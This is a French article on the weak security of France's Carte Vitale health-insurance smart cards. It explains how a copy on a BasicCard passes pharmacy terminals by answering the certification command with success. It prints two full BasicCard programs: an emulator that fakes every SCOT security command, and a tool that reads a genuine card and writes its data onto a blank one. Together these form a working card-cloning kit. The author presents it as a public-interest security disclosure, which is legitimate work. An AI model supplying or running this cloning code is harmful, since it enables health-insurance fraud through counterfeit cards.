[accueil]
Cloner la carte Vitale 2 : enfantin ?
Dès le lancement en grande pompe de la carte Vitale 2 « ultra-sécurisée », notre intime conviction fut qu'il ne pouvait guère s'agir que d'un coûteux coup d'épée dans l'eau. Mais tout récemment, des enquêtes de la télévision et de la presse écrite nationale ont mis en évidence de curieux changements, qu'il nous a été suggéré d'expertiser. Une occasion rêvée de vérifier, comme nous l'avions promis, si un semblant de sécurisation a fini par être mis en place. Très édifiant !
Quand Vitale 2 émule Vitale 1
Développée peu de temps après la démonstration, par plusieurs chaînes de télévision, de la facilité avec laquelle des petits logiciels publiés par Pirates Mag' permettaient de cloner les cartes Vitale 1, la Vitale 2 a été non seulement dotée d'une photo, mais surtout entièrement repensée par Sagem Défense & Sécurité. Assez dispendieux, mais plutôt rassurant, non ? Seulement voila : à l'époque, l'informatique des professionnels de santé n'était pas à niveau pour en exploiter les nouvelles possibilités, et ce n'était apparemment pas près de changer... Deux modes de fonctionnement ont donc été intégrés dans une seule et même carte : le nouveau (V2), et l'ancien (V1), en principe à titre transitoire.
Sur le terrain, si une Vitale 2 est insérée dans un terminal ne supportant que la Vitale 1, tout se passe exactement comme auparavant, mais au fur et à mesure du déploiement de matériels supportant la Vitale 2, des fonctionnalités supplémentaires deviennent utilisables (lecture automatique de l'adresse du porteur, par exemple).
En janvier 2010, la chaîne de télévision W9 tourne pour son émission Enquête d'action une séquence lors de laquelle une carte Vitale 2 est copiée dans une BasicCard à l'aide de logiciels ressemblant à s'y méprendre aux nôtres, puis essayée dans une pharmacie. Avec succès... Rien d'étonnant à cela, la Vitale 2 ayant manifestement été lue en mode « émulation de Vitale 1 », et son contenu ayant été recopié dans une BasicCard dotée en tout et pour tout de commandes de lecture équivalentes à celles de la Vitale 1.
Mais, en juillet 2011, un grand reporter de la presse écrite tente de renouveler l'expérience, et là la copie est rejetée dans trois pharmacies coup sur coup. Même chose d'ailleurs en essayant de copier une simple Vitale 1. Pour élucider ce mystère, devinez donc à quel expert on a alors fait appel !
L'explication est finalement fort simple : en un an et demi, beaucoup de pharmacies ont fini par moderniser leur parc informatique, s'équipant de terminaux compatibles Vitale 2, depuis longtemps disponibles auprès de fabricants comme Xiring. Or, leurs logiciels s'appuient nécessairement sur de nouvelles versions des API de communication avec les cartes Vitale, puisque les anciennes ne supportaient évidemment pas le mode Vitale 2. Splendide occasion pour les informaticiens de l'Assurance Maladie de perfectionner au passage le mode Vitale 1, en lui faisant peut-être exploiter des mécanismes sécuritaires existants mais jamais encore utilisés. Ont-ils su la saisir ?
Une sécurisation factice ?
Pour en avoir le coeur net, il suffit d'intercepter les commandes et les réponses échangées entre le terminal et la carte. Soit avec un « espion » (un outil incontournable dans le monde des cartes à puce), soit en appliquant notre méthode dite « carte caméléon », bien plus légère à mettre en oeuvre. Et, là, une commande à vocation éminemment sécuritaire saute immédiatement aux yeux : BC 80 00 00 08 5A F6 29 89 5A F6 02 88.
Il s'agit d'une commande tout à fait classique au sein de la famille des cartes SCOT : une demande de certification (eh oui, cryptographique !) du mot enregistré dans la carte à l'adresse 0288h. Souvenons nous : c'est là que réside, codé en caractères à 5 bits, le mot « VITALESESAM ». Une sacrée preuve d'authenticité ! Le groupe d'octets 5A F6 29 89 5A F6 constitue quant à lui la valeur plus ou moins « aléatoire » choisie par le terminal et qui est, tout comme la clef secrète contenue dans la carte, l'un des opérandes du calcul. Si d'aventure cette valeur s'avérait être invariable ou simplement prévisible, cela rendrait le certificat vulnérable à une attaque fort classique dite « rejeu ».
La commande qui suit (BC C0 00 00 08) est une simple lecture de résultat (ici, ce fameux certificat), dont la longueur est très classiquement de 8 octets.
Avant de nous réjouir, peut-être un peu vite, de cette mesure de sécurisation enfin appliquée, essayons de l'émuler dans une BasicCard qui, rappelons le, ne dispose pas des clefs secrètes de l'original et sera donc dans l'incapacité de calculer un certificat valide par ses propres moyens. Deux lignes de code-source à ajouter à notre programme de l'époque, et le tour est joué :
Command &HBC &H80 CERT(S$,Disable Le)
End Command
Grâce à elles, la carte répond 90 00 quand elle reçoit une commande BC 80, au lieu d'un code d'erreur « commande inconnue ». Mais la similitude avec une véritable carte SCOT s'arrête là, car la commande BC C0, déjà présente dans le programme, renverra une réponse parfaitement fantaisiste. Ce seront en réalité les huit octets par lesquels la carte avait déjà déclaré ses caractéristiques techniques, soit par exemple : 00 00 21 88 00 00 0E 08 pour une carte Vitale SCOT, 00 00 20 A0 00 00 0D 08 pour une carte Vitale IGEA, 00 00 21 98 00 00 0D 08 pour une carte Vitale 2.
Retour à l'officine, après copie de la carte dont le clonage avait tourné court, et à la stupéfaction générale le « formatage de la feuille de soins » se déroule maintenant sans anicroche alors qu'il échouait jusqu'à présent sur un message d'erreur. Que faut-il en conclure ? Deux idées inquiétantes viennent immédiatement à l'esprit :
- Demanderait-on à la carte de prouver qu'elle est vraie, sans tenir aucun compte de sa réponse si elle avoue qu'elle est fausse ?
- Saurait-on pertinemment que le certificat calculé par la carte n'a aucune valeur, et ferait-on très logiquement l'économie de sa vérification ?
Cela paraît tout de même un peu gros, et on peut en effet imaginer des explications plus subtiles. Peut-être le hasard nous mettra-t-il sur la piste ?
Et lors d'une mise-à-jour ?
Par un (bon) réflexe qui semble désormais assez habituel quand une carte paraît un tant soit peu douteuse, l'un des pharmaciens ayant accepté de faire office de cobaye a spontanément tenté de procéder à une mise-à-jour de la copie. Echec ! A l'analyse, on retrouve là encore une demande de calcul de certificat et une lecture de résultat, mais, aussitôt après, une mystérieuse commande BC 50 00 00 02 EF FF. D'après les manuels des cartes SCOT (aimablement fournis par Bull CP8 dès janvier 1993), il s'agit là d'une « écriture des verrous », censée rendre la carte définitivement inutilisable. Un ordre d'auto-destruction, en quelque sorte !
Bien entendu, une copie sur BasicCard (ou autre carte à « système d'exploitation ouvert ») ignorerait superbement cette requête, même si elle répondait espièglement « c'est fait ! » (90 00). Dans le cas réel d'une carte Vitale, la manoeuvre aura pour principal effet, non pas d'interdire sa lecture, mais de modifier sa réponse au reset et de bloquer ses mécanismes sécuritaires. La belle affaire s'ils ne sont là que pour « faire joli » ! Vérification faite, une carte ainsi invalidée est effectivement toujours copiable dans une BasicCard, et la copie fonctionne au moins dans les lecteurs de poche genre Lexibook. Quoi de plus simple, d'ailleurs, que d'y restaurer le contenu « normal » du mot des verrous ? Rappelons en effet que si les cartes Vitale 1 et 2 sont (tout de même) protégées en écriture, les copies ne le sont pas. Cela permet d'en modifier librement le contenu, à condition de savoir exactement ce que l'on fait.
Cette expérience imprévue a tout au moins le mérite de confirmer que le mécanisme de certification est bel et bien opérationnel dans les Vitale 1, et qu'il permet vraiment de détecter les copies... si on le met à contribution. Seulement, la mise à jour d'une carte prend beaucoup plus de temps que la création d'une feuille de soins électronique, ce qui laisse à penser que la vérification du certificat pourrait bien se faire en ligne et non pas en local (évitant ainsi d'avoir à disséminer des « secrets » sur le terrain). Spéculons donc un peu : peut-être le certificat ainsi calculé est-il incorporé dans la feuille de soins à titre de « signature », et vérifié en différé lors du traitement de celle-ci par la caisse à laquelle elle est télétransmise ? Douteux, car cela alourdirait sensiblement un processus déjà complexe, tout comme s'il fallait contrôler systématiquement les signatures sur les feuilles de soins papier. Ou alors seulement en cas de litige ? D'un autre côté, même si l'utilisation d'une fausse carte était repérée à ce stade, le pharmacien de bonne foi bénéficierait tout de même de la garantie (contractuelle) de paiement, et l'escroc serait déjà loin avec ses médicaments obtenus en tiers payant...
Il serait infiniment plus « professionnel » de procéder à une authentification en ligne ou « demande d'autorisation » au-delà d'un certain montant de délivrance de médicaments, en cas de prise en charge à 100 % ou de client inconnu, voire même de façon inopinée. Après tout, cela se passe depuis longtemps ainsi dans le domaine monétique, avec les cartes bancaires EMV ! On appelle même cela « gestion du risque »... C'est d'ailleurs un peu ce que font « manuellement » les pharmaciens lorsqu'ils pratiquent une mise à jour préalable. Auraient-ils donc été adroitement incités à agir de la sorte, ce qui justifierait au passage la mise à disposition gratuite du matériel nécessaire ?
Il faut dire que les essais qui ont été faits récemment portaient sur des sommes ridiculement modiques, alors que chacun sait que certaines boîtes de médicaments peuvent coûter des milliers d'euros. De plus, les feuilles de soins irrégulières ont toujours été annulées avant transmission, afin qu'aucune manoeuvre frauduleuse ne puisse être reprochée à qui que ce soit. Dans un domaine aussi « sensible », on n'est en effet jamais trop prudent !
Même si nous n'y croyons guère, on ne peut donc pas exclure qu'un progrès soit tout de même en route, bien tardif mais permettant d'attendre avec un peu plus de sérénité le jour (lointain) où, plus une seule carte Vitale 1 n'étant en circulation, on pourra carrément configurer les terminaux des professionnels de santé de façon à ce qu'ils ne puissent plus en traiter. Dès lors, les copies si rudimentaires qui fonctionnent depuis tant d'années seront enfin pour de bon inutilisables. Trop beau pour être vrai ? Cela mérite en tout cas une surveillance attentive...
Le kit complet
Loin de nous l'idée de fournir, sur un plateau, tous les outils nécessaires à des fraudeurs en puissance. Rappelons qu'à l'origine, les logiciels utilisés pour expérimenter autour de la carte Vitale n'avaient nullement été développés dans ce but. Ils étaient simplement destinés à assurer l'interopérabilité de la BasicCard « professional » avec des équipements utilisant des cartes SCOT, lesquelles devenaient obsolètes et par conséquent introuvables sur le marché. Si l'Assurance Maladie a choisi la solution de facilité consistant à adopter ces cartes « à tout faire », au lieu de se donner la peine de créer un « masque » spécifique, elle doit naturellement en assumer la responsabilité, surtout après avoir pérennisé cette orientation discutable lors de la définition de l'IGEA puis de Vitale 2.
Cela étant posé, nous n'avons aucun scrupule à publier aujourd'hui des versions étoffées de nos programmes, qui n'ont toujours pas vocation à faciliter d'éventuelles activités illicites. Dans notre esprit, il s'agit purement et simplement d'un attirail d'expertise, destiné à un usage strictement « citoyen ». De toute façon, nous avons fait en sorte que le processus de copie soit très lent (plusieurs minutes), et par conséquent inutilisable pour « cloner » une carte à l'insu de son porteur, sauf évidemment si celui-ci s'en laisse imprudemment déposséder plus longtemps que nécessaire (ce qui s'appelle, dans les milieux judiciaires, de la « rétention de carte Vitale » ; eh oui, cela existe et nous en avons même été témoin !).
Bien plus long que son prédécesseur, notre code source EMUVITSPY.BAS implémente l'ensemble des commandes « documentées » que reconnaît une carte SCOT, y compris celles à vocation sécuritaire, ce qui est nouveau. Il se borne cependant à leur faire répondre 90 00 (compte-rendu de bonne exécution) et s'il y a lieu (commandes dites « sortantes ») un bloc de données invraisemblables, ce qui exclut toute possibilité de falsification d'une application convenablement sécurisée. Nous avons donc la conscience parfaitement tranquille !
REM EMUVITspy (c)2002,2011 Patrick GUEULLE
EEPROM T$(3500) As String*4
Public K As Byte
Declare Binary ATR=&H3F,&H65,&H25,&H00, _
&H2C,&H09,&H69,&H90,&H00, _
&H01
Declare Sub Note(S$)
Open"Card.log" For Append As #1:Write#1,""
Command &HBC &HA0 ARG(S$,Disable Le)
Call Note(S$)
SW1SW2=&H9008
End Command
Command &HBC &HC0 RESP(Lc=0,S$)
Call Note(S$)
S$=T$(0)+T$(1)
IF Le<>8 Then SW1SW2=&H6708
End Command
Command &HBC &HB0 LIT(Lc=0,S$)
Call Note(S$)
ADR=P1P2/8:A$=""
K=(P1P2-(8*ADR))/2
For F=0 TO 63
A$=A$+T$(ADR+F)
Next F
S$=Mid$(A$,K+1,Le)
End Command
Command &HBC &HD0 UPD(S$,Disable Le)
Call Note(S$)
IF Lc<>4 Then SW1SW2=&H6704
ADR=P1P2/8
T$(ADR)=S$
End Command
Command &HBC &H80 CERT(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &H10 CHV1(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &H20 CHV2(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &H30 CHV3(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &H28 CHV4(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &H18 CHV5(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &H38 CHV6(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &H40 RATIF1(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &H70 RATIF2(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &HD2 CCHV(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &HA8 VIRG(S$,Disable Le)
Call Note(S$)
SW1SW2=&H9008
End Command
Command &HBC &H50 VERR(S$,Disable Le)
Call Note(S$)
End Command
Command &HBC &H0E EFFD(S$,Disable Le)
Call Note(S$)
End Command
Command &HC8 &H04 COPY(Lc=0,S$)
Z$="(c)2001 Patrick GUEULLE"
S$=MID$(Z$,P1P2+1,Le)
End Command
Command &HC8 &HA2 FLUSH(S$,Disable Le)
Close
Kill "Card.log":S$=CHR$(FileError)
End Command
Command Else OTHER(Lc=0,S$)
Call NOTE(S$)
S$=String$(Le,&HFF)
SW1SW2=&H9000
End Command
Sub Note(S$)
Z$=CHR$(CLA)+CHR$(INS)+CHR$(P1)+CHR$(P2)
IF Len(S$)>0 Then Z$=Z$+CHR$(Lc)
IF Len(S$)=0 Then Z$=Z$+CHR$(Le)
Write#1,Z$+S$
End Sub
Par dessus le marché, ce logiciel est équipé d'un logger intégré (et volontairement non désactivable), dont la récupération et l'effacement des enregistrements pourront se faire avec l'utilitaire BSPYUTIL.BAS déjà publié en son temps, ou un équivalent. De ce fait,il nécessite une version récente de la BasicCard « professional » (ZC5.5), généreusement pourvue en mémoire EEPROM, et du kit de développement gratuit.
Pour copier les données à lecture libre que contient une carte SCOT ou compatible (et en aucun cas ses clefs secrètes ou ses zones dites « confidentielles »), on pourra se servir du programme CV2.BAS associé à n'importe quel lecteur PC/SC :
REM COPV2 (c)2002,20011 Patrick GUEULLE
#Include CARDUTIL.DEF
#Include COMMERR.DEF
ComPort=101
Public S$ As String
Public T$ As String
Declare Sub AFF(S$)
Declare Command &HBC &HB0 LIT(Lc=0,S$)
Declare Command &HBC &HC0 RESP(Lc=0,S$)
Declare Command &HBC &HD0 UPD(S$,Disable Le)
Declare Command &HC8 &HA2 FLUSH()
Call WaitForCard
ResetCard:Call CheckSW1SW2:Print
Call RESP(S$,Le=8):Call CheckSW1SW2
R$=S$:ADM$=Mid$(S$,3,2)
Call AFF(ADM$):MAX=ValH(T$)
A=ValH(T$)-&H56
Call LIT(P1P2=A+14,S$,Le=4)
S$=Mid$(S$,2,2)
Call AFF(S$):AA=ValH(T$):A=AA
Open"Clovis.log" For Output As #1
Write#1,Left$(R$,4):Write#1,Right$(R$,4)
While A
Call LIT(P1P2=A,S$,Le=4):Write#1,S$:Print".";
A=A+8:Wend
Print:Print:Close#1
Call WaitForNocard
Call WaitForCard
ResetCard:Call CheckSW1SW2:Print
Open"Clovis.log" For Input As #1
Input#1,R$:Call UPD(P1P2=0,R$)
Input#1,R$:Call UPD(P1P2=8,R$)
A=AA:While A
Input#1,U$:Print".";
Call UPD(P1P2=A,U$)
A=A+8:Wend
Call FLUSH():Call CheckSW1SW2
Sub AFF(S$)
T$=""
For F=1 TO Len(S$)
C$=MID$(S$,F,1):C=ASC(C$):C$=HEX$(C)
IF LEN(C$)=1 then C$="0"+C$
T$=T$+C$
NEXT F
End Sub
Très peu différent de son ancêtre de 2002, il bénéficie cependant de la correction de petites maladresses de programmation passant jusqu'alors inaperçues, mais susceptibles de poser problème dans certaines situations inédites. Nous laissons bien évidemment la responsabilité de l'utilisation de ces outils aux personnes trouvant légitime d'évaluer la sécurité d'applications « carte » auxquelles elles sont invitées à faire confiance, par exemple Vitale pour les professionnels de santé ou... les assurés sociaux. De quoi se forger sa propre opinion et prendre les précautions que l'on pourra alors estimer nécessaires. Un homme averti en vaut deux, dit-on !
Patrick Gueulle
Tous les ouvrages de l'auteur
Vous voulez soutenir une information indépendante ? Rejoignez notre Club privé !
[contact & legal & cookies] [since 1997]